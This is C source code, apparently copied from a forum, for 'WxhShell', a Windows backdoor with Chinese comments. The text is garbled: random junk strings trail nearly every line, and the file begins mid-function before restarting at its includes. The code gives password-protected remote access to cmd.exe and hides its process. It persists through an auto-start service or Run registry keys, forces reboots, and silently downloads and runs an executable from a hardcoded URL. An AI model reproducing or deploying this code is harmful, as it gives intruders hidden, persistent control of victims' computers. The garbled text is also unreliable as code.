    else { _,xc[ 07  
    closesocket(wsh); g!$!F>[  
    ExitThread(0); KM}f:_J*lg  
    } qfL~Wp2E;  
    break; Ge-CY  
    } tk!t Y8j  
  // 获取shell TD'L'm|2  
  case 's': { GNXHM*~  
    CmdShell(wsh); 6l5:1|8b,!  
    closesocket(wsh); 'MEz|Z  
    ExitThread(0); U}6.h&$  
    break; OTGofd2zf  
  } 4{hps.$?~  
  // 退出 X%Z{K-  
  case 'x': { @y='^DQ*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9:ze{ c $  
    CloseIt(wsh); LQtj~c>X-|  
    break; |zQ4u  
    } P;P%n  
  // 离开 g .onTFwN  
  case 'q': { lJu;O/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )2V:  
    closesocket(wsh); eoai(&o0$  
    WSACleanup(); W=#:.Xj[  
    exit(1); H<v'^*(  
    break; ln?v j)j  
        } ;'5>q&[qbP  
  } 8Eakif0CO  
  } ;pqg/>W'  
PJ]];MQ  
  // 提示信息 ZAv,*5&<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lz YEx  
} o_@4Sl8  
  } n#q<`}u,  
*pAV2V(!23  
  return; u+'tfFds&  
} [z9 `)VIe  
"}pNe"ok  
// shell模块句柄 \hBG<nH{0  
int CmdShell(SOCKET sock) NdL,F;^  
{ 62O.?Ij  
STARTUPINFO si; 7B!x T2{T  
ZeroMemory(&si,sizeof(si)); i\KQ!f>A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7NDr1Z#B6V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3gv|9T  
PROCESS_INFORMATION ProcessInfo; ]z l [H7  
char cmdline[]="cmd"; 99:C"`E{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n` xR5!de  
  return 0; &d"G/6  
} .WPV dwV4U  
=R#Qx,  
// 自身启动模式 pPcTrN'  
int StartFromService(void) |/09<F:L[  
{ x$1]M DAGb  
typedef struct 0BIy>wy:  
{ ;.TRWn#  
  DWORD ExitStatus; Q$HG  
  DWORD PebBaseAddress; k Mu8"Az  
  DWORD AffinityMask; *^f<W6xc  
  DWORD BasePriority; lTd #bN  
  ULONG UniqueProcessId; x 7~r,x(xM  
  ULONG InheritedFromUniqueProcessId; rW+ =,L  
}   PROCESS_BASIC_INFORMATION; 7g%E`3)"  
Z?%zgqTXb  
PROCNTQSIP NtQueryInformationProcess; `&D|>tiz  
(vb SM}P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }o L'8-y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  ~ ip,Nl  
QV {}K  
  HANDLE             hProcess; K{[%7AM  
  PROCESS_BASIC_INFORMATION pbi; '7+4`E  
cIav&Zko  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QlJ)F{R8il  
  if(NULL == hInst ) return 0; ~NQ72wph{  
)xbHCoU,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MrDc$p W G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %kdE un  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 73xAG1D$r  
AS\F{ !O  
  if (!NtQueryInformationProcess) return 0; c )G3k/T5  
4WJ.^(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cFeXpj?GV  
  if(!hProcess) return 0; yls ^cyX  
v#.r.{t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '=Rs/EDME  
z"0I>gl  
  CloseHandle(hProcess); 8Le||)y,\  
(>r[- Bft  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Cq%IE^g<  
if(hProcess==NULL) return 0; pov)Z):}G<  
gLy&esJl1  
HMODULE hMod; m06ALD_  
char procName[255]; {buo^kgj`]  
unsigned long cbNeeded; @}@Z8$G^  
k&,~qoU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q aS\(_  
G&4&-<  
  CloseHandle(hProcess); sOU1n  
!"\80LP  
if(strstr(procName,"services")) return 1; // 以服务启动 J[4mL U  
K#pNe c  
  return 0; // 注册表启动 \=6l9Lrj>h  
} &ge "x{,?  
4scNSeW  
// 主模块 XDFx.)t  
int StartWxhshell(LPSTR lpCmdLine) ~zJ?H<>  
{ Ib+Y~ XYR  
  SOCKET wsl; V+VkY3  
BOOL val=TRUE; 4<k9?)~(J  
  int port=0; /+@p7FqlE  
  struct sockaddr_in door; }Q=!Y>Tc  
dvt9u9Vg=  
  if(wscfg.ws_autoins) Install(); T3k#VNH  
vvKEv/pN7  
port=atoi(lpCmdLine); Y?(r3E^x  
zmSUw}-4 N  
if(port<=0) port=wscfg.ws_port; _Em.  
{= F /C,-  
  WSADATA data; QNpqdwu%h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bT^I"  
%?p1d!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~v6OsH%vx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =Ur}~w&H8  
  door.sin_family = AF_INET; HbXPok  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |Z=^`J  
  door.sin_port = htons(port); qI~xlW  
Tl2C^j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @wE5S6! B\  
closesocket(wsl); *a#rM"6P  
return 1; 4cl\^yD  
} 0@H|n^Md#  
&NH$nY.r  
  if(listen(wsl,2) == INVALID_SOCKET) { NiU2@zgl  
closesocket(wsl); ]%?YZn<{  
return 1; G>1eFBh }  
} F W/W%^  
  Wxhshell(wsl); M#As0~y  
  WSACleanup(); ] :BX!<  
sB c (gr  
return 0; Q\ U:~g3  
;|vpwB@B  
} <gJU?$  
?kB2iU_f+  
// 以NT服务方式启动 N4L|;?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j( RWO  
{ j^^Ap  
DWORD   status = 0; DDPxmuNG  
  DWORD   specificError = 0xfffffff; hvDNz"ec{  
`kZ@Zmj#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }M3fmAP}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z;:u'=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }^/9G17  
  serviceStatus.dwWin32ExitCode     = 0; u%$Zqee  
  serviceStatus.dwServiceSpecificExitCode = 0; 1oN^HG6O  
  serviceStatus.dwCheckPoint       = 0; ENGg ~D  
  serviceStatus.dwWaitHint       = 0; ;9#Z@]p  
ev#;t@^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V&Xe!S  
  if (hServiceStatusHandle==0) return; -3;*K4z$/  
V- Cv,8   
status = GetLastError(); d*~ ICir7  
  if (status!=NO_ERROR) Db;G@#x  
{ YRh  B RE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y6Lf@}2(i  
    serviceStatus.dwCheckPoint       = 0; (fCXxyZrr  
    serviceStatus.dwWaitHint       = 0; mo[Zb0>  
    serviceStatus.dwWin32ExitCode     = status; B, TB3 {  
    serviceStatus.dwServiceSpecificExitCode = specificError; WXmn1^"kK}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vfq%H(  
    return; o[cV1G  
  } LAd\Tvms  
JWMpPzs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q.2ykL  
  serviceStatus.dwCheckPoint       = 0; 3>R#zJf  
  serviceStatus.dwWaitHint       = 0; 3WUTI(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ($}`R xj1@  
} Vzwc}k*Y  
 Fl1;;F  
// 处理NT服务事件,比如:启动、停止 ?)`L$Vr=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5lm<%  
{ d"6&AJ5a  
switch(fdwControl) ,:Lb7bFv>  
{ [L:o`j  
case SERVICE_CONTROL_STOP: K9OYri^TQ  
  serviceStatus.dwWin32ExitCode = 0; xv&Q+HD  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qeL5D*  
  serviceStatus.dwCheckPoint   = 0; V\^EfQ  
  serviceStatus.dwWaitHint     = 0; .R9IL-3fO  
  { ~fT_8z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pb$~b\s]=  
  } qU#BJON]BR  
  return; 3 AsT  
case SERVICE_CONTROL_PAUSE: _ B 5gR  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zJ)*Z,7  
  break; D?0zhU  
case SERVICE_CONTROL_CONTINUE: 7LU}Iiv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; p~9vP)74u  
  break; OnK~3j  
case SERVICE_CONTROL_INTERROGATE: #3_*]8K.R  
  break; G=A,9@+c  
}; T`Mf]s)*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JXu$ew>q  
} w\DVzeW(  
pGK;1gVj  
// 标准应用程序主函数 &&VqD w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yb/%?DNQT  
{ 3Ei5pX=g  
86\S?=J-b  
// 获取操作系统版本 U)o$WH.b  
OsIsNt=GetOsVer(); I;Bjfv5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); e{v=MxO=S  
Fm # w2o  
  // 从命令行安装 JM\m)RH0  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^1L>l9F  
])Qs{hs~s  
  // 下载执行文件 |"9 #bU  
if(wscfg.ws_downexe) { i}o[- S4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !ykx^z  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9$|Gfyv  
} ]- 4QNc=  
NsJ(`zk:  
if(!OsIsNt) { a(v>Q*zNP  
// 如果时win9x,隐藏进程并且设置为注册表启动 !}r% u."  
HideProc(); NN1$'"@NL  
StartWxhshell(lpCmdLine); 6+KHQFb&N  
} X_g 3rv1J  
else I= .z+#Y  
  if(StartFromService()) 8G5m{XTS(  
  // 以服务方式启动 e&qh9mlE  
  StartServiceCtrlDispatcher(DispatchTable); ^4`Px/&  
else =@8H"&y`  
  // 普通方式启动 * C6a?]  
  StartWxhshell(lpCmdLine); i![dPM  
(>I`{9x>6  
return 0; l+g9 5m jP  
} y(=#WlK }  
L0tAgW!@  
3neIR@W  
&g~ wS@  
=========================================== KhW;RD  
}GZ}Q5  
t6A:Z mG_  
1s{^X -  
{nvLPUL  
~DsECnD  
" V]vc(rH  
F`9ZH.  
#include <stdio.h> =pk)3<GwF  
#include <string.h> <@Fy5k-%.  
#include <windows.h> N]<!j$pOz  
#include <winsock2.h> L   
#include <winsvc.h> {!K-E9_,S  
#include <urlmon.h>  HC a  
wu4NLgkE  
#pragma comment (lib, "Ws2_32.lib") NSFs\a@1  
#pragma comment (lib, "urlmon.lib") {M?vBg R\B  
.^m>AKC0cX  
#define MAX_USER   100 // 最大客户端连接数 ryc& n5  
#define BUF_SOCK   200 // sock buffer h'$ 9C  
#define KEY_BUFF   255 // 输入 buffer &09U@uc$  
lZrVY+ D  
#define REBOOT     0   // 重启 f uB)qt!E  
#define SHUTDOWN   1   // 关机 CCX8>09  
a<A+4uXyD  
#define DEF_PORT   5000 // 监听端口 Ii^5\v|C  
%O<%UmR  
#define REG_LEN     16   // 注册表键长度 8B#GbS K  
#define SVC_LEN     80   // NT服务名长度 M!tXN&V]  
A?oXqb  
// 从dll定义API @mBX~ ?=Z3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ??i4z[0M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Izv+i*(dl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); f*24)Wn<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l?q%?v8  
%Jf<l&K .`  
// wxhshell配置信息 |K^"3`SJ  
struct WSCFG { 6Vbzd0dk  
  int ws_port;         // 监听端口 W7\&~IWub  
  char ws_passstr[REG_LEN]; // 口令 Cb_oS4vM  
  int ws_autoins;       // 安装标记, 1=yes 0=no )#}mH@  
  char ws_regname[REG_LEN]; // 注册表键名 KPpHwcYxT  
  char ws_svcname[REG_LEN]; // 服务名 G5,~Z&}YS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )|I5j];L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nxJee=qH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o8Z[+;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B=@ jWz"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bLnrbid  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c.A|Ir  
& BvZF  
}; [*Z`Kc  
gn{=%`[  
// default Wxhshell configuration @Kgl%[NmX  
struct WSCFG wscfg={DEF_PORT, 7 lo|dg80  
    "xuhuanlingzhe", QERU5|.wc  
    1, 7'-j%!#w  
    "Wxhshell", " sgjWo6  
    "Wxhshell", P/ oXDI8  
            "WxhShell Service", tWdhDt8$&  
    "Wrsky Windows CmdShell Service", cf7v[ZZ}  
    "Please Input Your Password: ", w?,M}=vg  
  1, Y=T'WNaL)0  
  "http://www.wrsky.com/wxhshell.exe", ZK'-U,Y.H7  
  "Wxhshell.exe" 0iZGPe~  
    }; kpI{KISQu  
\M"UmSB o  
// 消息定义模块 4W#E`9 6u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D)brPMS:o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m"9XT)N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WpLZQ6wH  
char *msg_ws_ext="\n\rExit."; u<n`x6gL  
char *msg_ws_end="\n\rQuit."; Do]*JO)(  
char *msg_ws_boot="\n\rReboot..."; f N "tA  
char *msg_ws_poff="\n\rShutdown..."; P &)1Rka  
char *msg_ws_down="\n\rSave to "; -OYDe@Wb]  
bhs(Qzx  
char *msg_ws_err="\n\rErr!"; &|<xqt  
char *msg_ws_ok="\n\rOK!"; >l+EJ3W  
,b$2=JO'f  
char ExeFile[MAX_PATH]; '&;69`FSe  
int nUser = 0; -[Qvg49jy  
HANDLE handles[MAX_USER]; Xm4CKuU@  
int OsIsNt;  YOAn4]j  
o y<J6  
SERVICE_STATUS       serviceStatus; 2 /y}a#s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oR*=|B  
K$ v"Uk  
// 函数声明 vLO&Lpv  
int Install(void); rz(0:vxwA  
int Uninstall(void); ?v-1zCls  
int DownloadFile(char *sURL, SOCKET wsh); K+T .o6+  
int Boot(int flag); ?'r9"M>  
void HideProc(void); 'lS `s(  
int GetOsVer(void); FhIqy %X  
int Wxhshell(SOCKET wsl); vSW L$Y2  
void TalkWithClient(void *cs); b59{)u4F  
int CmdShell(SOCKET sock); 3qQUpm+  
int StartFromService(void); = zl= SLe  
int StartWxhshell(LPSTR lpCmdLine); {$M;H+Foh  
)n=ARDd^e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?_`0G/xl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1 11D3  
kHJ96G  
// 数据结构和表定义 M"_FrIO  
SERVICE_TABLE_ENTRY DispatchTable[] = jFerYv&K~  
{ PVa o  
{wscfg.ws_svcname, NTServiceMain}, <TNk?df7  
{NULL, NULL} ^\:2}4Uj_  
}; jvzBh-!  
* \HRw +cL  
// 自我安装 ;:m&#YJV  
int Install(void) [k]|Qi nk  
{ nVD Xj  
  char svExeFile[MAX_PATH]; Yn9j-`  
  HKEY key; vRPS4@9'  
  strcpy(svExeFile,ExeFile); &gc `<kLu  
hFvi 5I-b  
// 如果是win9x系统,修改注册表设为自启动 9zgNjjCl]  
if(!OsIsNt) { Z v0C@r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h<+ |x7u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cywg[  
  RegCloseKey(key); Q&M'=+T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /9Ilo\MdD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J`#` fX  
  RegCloseKey(key); 4B?!THjk  
  return 0; #\bP7a +  
    } >m_v5K  
  } dZ :r&Qa  
} c#b:3dXx9  
else { tk/`%Q  
Y~n` ~(  
// 如果是NT以上系统,安装为系统服务 fn9#>~vrD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s%;<O:x8o  
if (schSCManager!=0) &k T"oK  
{ F3ZxhkF  
  SC_HANDLE schService = CreateService |xr32g s  
  ( i9UI,b%X  
  schSCManager, uv4 _:   
  wscfg.ws_svcname, Wn!G.(Jq  
  wscfg.ws_svcdisp, 3z{S}~  
  SERVICE_ALL_ACCESS, 4x'AC%&Qi  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (OQ?<'Qa  
  SERVICE_AUTO_START, sXl ??UGe  
  SERVICE_ERROR_NORMAL, jiIST^Zq#t  
  svExeFile, l9{#sas  
  NULL, SvK1.NUa  
  NULL, )Mzt3u  
  NULL, W'_/6_c$!  
  NULL, GoE#Mxhxo  
  NULL Su8'$CFz$.  
  ); OR+A_:c.D  
  if (schService!=0) C]`eH *z~8  
  { 6T^lS^  
  CloseServiceHandle(schService); v5T9Y-{`  
  CloseServiceHandle(schSCManager); vW' 5 ` %  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b2h":G|s  
  strcat(svExeFile,wscfg.ws_svcname); >uHS[ _`nM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F ,G,b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '=} Y2?(  
  RegCloseKey(key); Ohl} X 1  
  return 0; NcL =z o<  
    } lVeH+"M?  
  } jeDlH6X'  
  CloseServiceHandle(schSCManager); yBz >0I3  
} $<e +r$1  
} 7unA"9=[4V  
\iMyo  
return 1; i=QqB0  
} +Z? [M1g  
6b:DJ  
// 自我卸载 ~HP LV  
int Uninstall(void) 7;HUE!5,^l  
{ PW_`qP:  
  HKEY key; $(>f8)Uku(  
vmKT F!;  
if(!OsIsNt) { T 2bnzI i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a'[)9:  
  RegDeleteValue(key,wscfg.ws_regname); X9'xn 0n;  
  RegCloseKey(key); =|y|P80w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r#xk`a  
  RegDeleteValue(key,wscfg.ws_regname); ?^3B3qqh9  
  RegCloseKey(key); R!{7OkC  
  return 0; f]}}yBte`  
  } oofFrAaT  
} J>v$2?w`w  
} >rwYDT#m]  
else { Js}tZ\+P75  
0|2%#  E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J1-):3A  
if (schSCManager!=0) PN\V[#nS  
{ ?;8M^a/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \ j]~>9  
  if (schService!=0) k.Zll,s  
  { ?"@ET9  
  if(DeleteService(schService)!=0) { md6*c./Z  
  CloseServiceHandle(schService); 3%NE/lw1  
  CloseServiceHandle(schSCManager); g)M#{"H  
  return 0; P $h;SK  
  } -fM1$/]  
  CloseServiceHandle(schService); 0^>E`/  
  } v:P!(`sF  
  CloseServiceHandle(schSCManager); hCLk#_  
} TczXHT}G  
} 3@X|Gs'_S  
0=m&^Jpp  
return 1; fI[dhd6  
} @+0V& jc  
yGV{^?yoP  
// 从指定url下载文件 u '@Ely  
int DownloadFile(char *sURL, SOCKET wsh) 9}whWh  
{ 5}SXYA}  
  HRESULT hr; &^ceOV0+  
char seps[]= "/"; =[(%n94  
char *token; m9g^ -X  
char *file; ocP*\NR  
char myURL[MAX_PATH]; YnxU(v'\  
char myFILE[MAX_PATH]; NhtEW0xCr  
Y?.gfEXSQo  
strcpy(myURL,sURL); >'0lw+a  
  token=strtok(myURL,seps); <W|1<=z(  
  while(token!=NULL) ,$i<@2/=m  
  { {Vl"m 2  
    file=token; SbJh(V-pr  
  token=strtok(NULL,seps); ]1Qi=2'  
  } Et0&E  
y(a}IM3~  
GetCurrentDirectory(MAX_PATH,myFILE); tnRJ#[Io  
strcat(myFILE, "\\"); 'WnpwY  
strcat(myFILE, file); tz8t9lb[  
  send(wsh,myFILE,strlen(myFILE),0); q5gP~*?  
send(wsh,"...",3,0); coO.kTO;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7X:hIl   
  if(hr==S_OK) ,A?v,Fs>O[  
return 0; &O{t^D)F  
else jhcuK:`L  
return 1; h~.V[o7=  
/p[y1  
} 7?]!Ecr"  
)Jz!Ut  
// 系统电源模块 0&o WfTg  
int Boot(int flag) Dzm qR0)  
{ %rFllb7  
  HANDLE hToken; ?7 X3 P  
  TOKEN_PRIVILEGES tkp; .)nCOwR6p  
;l#?SYY  
  if(OsIsNt) { U*xxrt/On/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dff#{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :9O|l)N)W=  
    tkp.PrivilegeCount = 1; o7QK8#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tQ6|PV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -sD:+Te  
if(flag==REBOOT) { !z.^(Tj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xF^r`  
  return 0; s3y}Yg  
} `bi k/o=%  
else { ?bCTLt7k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]N_140N~  
  return 0; zPA>af~Ej  
} )rS^F<C  
  } KD9Ca $-  
  else { B4 <_"0  
if(flag==REBOOT) { cG5$lB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ] : Wb1  
  return 0; 9cbB[c_.  
} 0YHYxn  
else { &,Uc>L%m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) RDJ82{  
  return 0; I BF.&[[S  
} $&NbLjeS  
} [y$j9  
 MbM :3  
return 1; ),z,LU Yf  
} 8*"rZh}'  
d OzO/w&  
// win9x进程隐藏模块 ],!p p3U  
void HideProc(void) 6l=M;B7:i  
{ 1gL8$.B?  
*Y^5M"AB_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M!{Rq1M  
  if ( hKernel != NULL ) N_|YOw6  
  { EsS!07fAM:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rjt O`Mt`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y~<rQ  
    FreeLibrary(hKernel); x%ZiE5#  
  } pvI&-D #}  
'$lw[1  
return; d9ZDpzx B  
} V}p*HB@:  
9n-RXVL+  
// 获取操作系统版本 <`^>bv9  
int GetOsVer(void) l ,ZzB,"  
{ X6n|Xq3k  
  OSVERSIONINFO winfo; s; ~J2h[  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !Q\X)C  
  GetVersionEx(&winfo); ye9QTK6$,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pau&4h0  
  return 1; c M|af#o  
  else >V3W>5X  
  return 0; 2I9{+>k  
} 3Ro7M=]  
BZ8h*|uT"  
// 客户端句柄模块 7ZrJ#n8?ih  
int Wxhshell(SOCKET wsl) Q2??Kp] 1  
{ <$Xn:B<H  
  SOCKET wsh; i,\t]EJAU  
  struct sockaddr_in client; >!CH7wX  
  DWORD myID; mOgx&ns;j  
N}e(.  
  while(nUser<MAX_USER) &L2`L)  
{ T749@!v`z  
  int nSize=sizeof(client); '&&~IB4ud  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $H %+k?  
  if(wsh==INVALID_SOCKET) return 1; ?d,acm  
=W97|BIW,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N$L&|4r  
if(handles[nUser]==0) !: `Ra  
  closesocket(wsh); a'(lVZA;  
else C&qDvvk  
  nUser++; gqKC4'G0  
  } 1mkQ"E4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zcbA)  
9;'>\ImI  
  return 0; V~tu<"%  
} E9 :|8#b  
xQcMQ{&;  
// 关闭 socket b3jU~L$  
void CloseIt(SOCKET wsh) }6b7a1p  
{ ?3e!A9x  
closesocket(wsh); \Mh4X`<e  
nUser--; _,Io(QS  
ExitThread(0); gb^UFD L  
} 70I4-[/z[d  
%t(, *;  
// 客户端请求句柄 k N uN4/  
void TalkWithClient(void *cs) $/-wgyP3m+  
{ gDjd{+LUo  
f^>lObvd  
  SOCKET wsh=(SOCKET)cs; UwzE'#Q-  
  char pwd[SVC_LEN]; X_EC:GU  
  char cmd[KEY_BUFF]; =!Baz&#}  
char chr[1]; gs)%.k[BqG  
int i,j; GHJQ d&G8G  
jtlDSf#  
  while (nUser < MAX_USER) { fNmG`Ke  
%K/G+  
if(wscfg.ws_passstr) { bE%mgaOh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C=pPI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^.B `Z{Jb  
  //ZeroMemory(pwd,KEY_BUFF); ()rx>?x5  
      i=0; r A&#>R`  
  while(i<SVC_LEN) { ! S$oaCxM  
Ve')LY<  
  // 设置超时 9X*eE  
  fd_set FdRead; P"[l86:  
  struct timeval TimeOut; ) J:'5hz  
  FD_ZERO(&FdRead); Uzm[e%/`  
  FD_SET(wsh,&FdRead); )x5$io   
  TimeOut.tv_sec=8; "m\UqQGX  
  TimeOut.tv_usec=0; 3IRRFIiO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cC(ubUR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B "s8i{Vm  
@[Jt~v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8Y;zs7Y  
  pwd=chr[0]; n=Z[w5  
  if(chr[0]==0xd || chr[0]==0xa) { GurE7J^=  
  pwd=0; [{fF)D<tC  
  break; WhVmycdv  
  } :)3$&QdHT  
  i++; x X=IMM3  
    } Dk. 9&9mz  
lpX p )r+  
  // 如果是非法用户,关闭 socket j)SgB7Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); au9Wo<mR  
} D aqy+:  
f T+n-B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Wy0a2Ve  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M cMK|_H  
_<' kzOj  
while(1) { PY3Vu]zD  
QY CNO#*  
  ZeroMemory(cmd,KEY_BUFF); cq+M *1;  
|SXMu_w  
      // 自动支持客户端 telnet标准   sou$qKoG01  
  j=0; \?`d=n=  
  while(j<KEY_BUFF) { \Lh<E5@]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9"u @<]  
  cmd[j]=chr[0]; Rc m(Y7  
  if(chr[0]==0xa || chr[0]==0xd) { "Jv,QTIcS  
  cmd[j]=0; m@ 'I|!^  
  break; U*Q5ff7M6"  
  } 'c+qBSDA  
  j++; h"Yqm"U/  
    } N#6A>  
H)}1xQ{3F  
  // 下载文件 gQcr'[[a  
  if(strstr(cmd,"http://")) { Qak@~b  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5['B- Iw  
  if(DownloadFile(cmd,wsh)) >p+gx,N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 d1Y\  
  else <)*g7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q`wA"mw6k  
  } Q; /!oA_  
  else { DEeL 48{R  
!NY^(^   
    switch(cmd[0]) { 5Vm}<8{  
  n N]vu  
